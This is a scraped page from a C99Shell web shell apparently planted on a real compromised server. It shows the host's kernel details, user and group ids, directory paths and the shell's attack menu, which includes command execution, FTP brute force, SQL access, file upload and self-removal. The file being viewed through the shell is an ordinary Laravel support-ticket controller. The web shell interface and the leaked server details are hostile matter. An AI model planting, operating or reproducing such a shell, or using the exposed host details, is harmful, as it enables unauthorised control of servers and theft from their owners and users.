!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SupportController.php (12.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Employee;
use 
App\Models\Support;
use 
App\Models\SupportReply;
use 
App\Models\Ticket;
use 
App\Models\User;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Crypt;
use 
Illuminate\Support\Facades\Mail;

class 
SupportController extends Controller
{
    public function 
index()
    {
        if(
\Auth::user()->type == 'company')
        {
            
$supports Support::where('created_by'\Auth::user()->creatorId())->with(['createdBy','assignUser'])->get();
            
$countTicket      Support::where('created_by''='\Auth::user()->creatorId())->count();
            
$countOpenTicket  Support::where('status''=''open')->where('created_by''='\Auth::user()->creatorId())->count();
            
$countonholdTicket  Support::where('status''=''on hold')->where('created_by''='\Auth::user()->creatorId())->count();
            
$countCloseTicket Support::where('status''=''close')->where('created_by''='\Auth::user()->creatorId())->count();
            return 
view('support.index'compact('supports','countTicket','countOpenTicket','countonholdTicket','countCloseTicket'));
        }
        else {

            
$supports Support::where('user'\Auth::user()->id)->where('created_by'\Auth::user()->creatorId())->with(['createdBy','assignUser'])->get();
            
$countTicket      Support::where('user'\Auth::user()->id)->where('created_by'\Auth::user()->creatorId())->count();
            
$countOpenTicket  Support::where('status''=''open')->where('user'\Auth::user()->id)->where('created_by'\Auth::user()->creatorId())->count();
            
$countonholdTicket  Support::where('status''=''on hold')->where('user'\Auth::user()->id)->where('created_by'\Auth::user()->creatorId())->count();
            
$countCloseTicket Support::where('status''=''close')->where('user'\Auth::user()->id)->where('created_by'\Auth::user()->creatorId())->count();
            return 
view('support.index'compact('supports','countTicket','countOpenTicket','countonholdTicket','countCloseTicket'));
        }

    }

    public function 
create()
    {
        
$priority = [
            
__('Low'),
            
__('Medium'),
            
__('High'),
            
__('Critical'),
        ];
        
//$status = Support::$status;
        
$status Support::status();
        
$users User::where('created_by'\Auth::user()->creatorId())->where('type''!=''client')->get()->pluck('name''id');

        return 
view('support.create'compact('priority''users','status'));
    }


    public function 
store(Request $request)
    {

        
$validator \Validator::make(
            
$request->all(), [
                               
'subject' => 'required',
                               
'priority' => 'required',
                           ]
        );

        if(
$validator->fails())
        {
            
$messages $validator->getMessageBag();
            return 
redirect()->back()->with('error'$messages->first());
        }

        
$support              = new Support();
        
$support->subject     $request->subject;
        
$support->priority    $request->priority;
        
$support->end_date    $request->end_date;
        
$support->ticket_code date('hms');
        
$support->status      'Open';

        if(!empty(
$request->attachment))
        {
            
//storage limit
            
$image_size $request->file('attachment')->getSize();
            
$result Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size);

            if(
$result==1)
            {
                if(
$support->attachment)
                {
                    
$path storage_path('uploads/supports' $support->attachment);
                    if(
file_exists($path))
                    {
                        
\File::delete($path);
                    }
                }
                
$fileName time() . "_" $request->attachment->getClientOriginalName();
                
$support->attachment $fileName;
                
$dir        'uploads/supports';
                
$path Utility::upload_file($request,'attachment',$fileName,$dir,[]);
                if(
$path['flag']==0){
                    return 
redirect()->back()->with('error'__($path['msg']));
                }
            }


        }

        
$support->description    $request->description;
        
$support->created_by     \Auth::user()->creatorId();
        
$support->ticket_created \Auth::user()->id;
        if(
\Auth::user()->type == 'client')
        {
            
$support->user \Auth::user()->id;;
        }
        else
        {
            
$request->user$request->user;
        }

        
$support->save();

        
//For Notification
        
$setting  Utility::settings(\Auth::user()->creatorId());
        
$support_priority \App\Models\Support::$priority[$support->priority];
        
$user User::find($request->user);
        
$supportNotificationArr = [
            
'support_priority' =>  $support_priority,
            
'support_user_name' =>  $user->name,
        ];
        
//Slack Notification
        
if(isset($setting['support_notification']) && $setting['support_notification'] ==1)
        {
            
Utility::send_slack_msg('new_support_ticket'$supportNotificationArr);
        }

        
//Telegram Notification
        
if(isset($setting['telegram_support_notification']) && $setting['telegram_support_notification'] ==1)
        {
            
Utility::send_telegram_msg('new_support_ticket'$supportNotificationArr);
        }

        
// send mail
        
$id =!empty($request->user )? $request->user\Auth::user()->id;
        
$employee             User::find($id);
        
$support_priority \App\Models\Support::$priority[$support->priority];
        
$supportArr = [
            
'support_name'=> $employee->name,
            
'support_title' => $support->subject,
            
'support_priority' =>  $support_priority,
            
'support_end_date' => $support->end_date,
            
'support_description' => $support->description,

        ];
        
$resp Utility::sendEmailTemplate('new_support_ticket', [$employee->id => $employee->email], $supportArr);

        
//webhook
        
$module ='New Support Ticket';
        
$webhook=  Utility::webhookSetting($module);
        if(
$webhook)
        {
            
$parameter json_encode($support);
            
$status Utility::WebhookCall($webhook['url'],$parameter,$webhook['method']);
            if(
$status == true)
            {
                return 
redirect()->route('support.index')->with('success'__('Support successfully added.').((!empty ($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Webhook call failed.'));
            }
        }

        return 
redirect()->route('support.index')->with('success'__('Support successfully added.') .((isset($result) && $result!=1) ? '<br> <span class="text-danger">' $result '</span>' '').(($resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' '') );



    }


    public function 
show(Support $support)
    {
        
//
    
}


    public function 
edit(Support $support)
    {
        
$priority = [
            
__('Low'),
            
__('Medium'),
            
__('High'),
            
__('Critical'),
        ];
        
//$status = Support::$status;
        
$status Support::status();
        
$users User::where('created_by'\Auth::user()->creatorId())->where('type''!=''client')->get()->pluck('name''id');

        return 
view('support.edit'compact('priority''users''support','status'));
    }


    public function 
update(Request $requestSupport $support)
    {

        
$validator \Validator::make(
            
$request->all(), [
                               
'subject' => 'required',
                               
'priority' => 'required',
                           ]
        );

        if(
$validator->fails())
        {
            
$messages $validator->getMessageBag();

            return 
redirect()->back()->with('error'$messages->first());
        }

        
$support->subject  $request->subject;
        
$support->user     $request->user;
        
$support->priority $request->priority;
        
$support->status  $request->status;
        
$support->end_date $request->end_date;
        if(!empty(
$request->attachment))
        {
            
//storage limit
            
$file_path '/uploads/supports/'.$support->attachment;
            
$image_size $request->file('attachment')->getSize();
            
$result Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size);

            if(
$result==1)
            {
                if(
$support->attachment)
                {
                    
Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path);

                    
$path storage_path('uploads/supports' $support->attachment);
                    if(
file_exists($path))
                    {
                        
\File::delete($path);
                    }
                }
                
$fileName time() . "_" $request->attachment->getClientOriginalName();
                
$support->attachment $fileName;
                
$dir        'uploads/supports';
                
$path Utility::upload_file($request,'attachment',$fileName,$dir,[]);
                if(
$path['flag']==0){
                    return 
redirect()->back()->with('error'__($path['msg']));
                }
            }

        }
        
$support->description $request->description;

        
$support->save();

        return 
redirect()->route('support.index')->with('success'__('Support successfully updated.'));

    }


    public function 
destroy(Support $support)
    {
        
$support->delete();
        if(
$support->attachment)
        {
            
//storage limit
            
$file_path '/uploads/supports/'.$support->attachment;
            
$result Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path);

            
\File::delete(storage_path('uploads/supports/' $support->attachment));
        }

        return 
redirect()->route('support.index')->with('success'__('Support successfully deleted.'));

    }

    public function 
reply($ids)
    {
        try {
            
$id              Crypt::decrypt($ids);
        } catch (
\Throwable $th) {
            return 
redirect()->back()->with('error'__('Support Not Found.'));
        }
        
$id      \Crypt::decrypt($ids);
        
$replyes SupportReply::where('support_id'$id)->with(['users'])->get();
        
$support Support::with(['assignUser','createdBy'])->find($id);

        foreach(
$replyes as $reply)
        {
            
$supportReply          SupportReply::find($reply->id);
            
$supportReply->is_read 1;
            
$supportReply->save();
        }

        return 
view('support.reply'compact('support''replyes'));
    }

    public function 
replyAnswer(Request $request$id)
    {
        
$supportReply              = new SupportReply();
        
$supportReply->support_id  $id;
        
$supportReply->user        \Auth::user()->id;
        
$supportReply->description $request->description;
        
$supportReply->created_by  \Auth::user()->creatorId();
        
$supportReply->save();

        return 
redirect()->back()->with('success'__('Support reply successfully send.'));
    }

    public function 
grid()
    {

        if(
\Auth::user()->type == 'company')
        {
            
$supports Support::where('created_by'\Auth::user()->creatorId())->with(['assignUser','createdBy'])->get();

            return 
view('support.grid'compact('supports'));
        }
        elseif(
\Auth::user()->type == 'client')
        {
            
$supports Support::where('user'\Auth::user()->id)->orWhere('ticket_created'\Auth::user()->id)->with(['assignUser','createdBy'])->get();

            return 
view('support.grid'compact('supports'));
        }
        elseif(
\Auth::user()->type == 'Employee')
        {

            
$supports Support::where('user'\Auth::user()->id)->orWhere('ticket_created'\Auth::user()->id)->with(['assignUser','createdBy'])->get();

            return 
view('support.grid'compact('supports'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--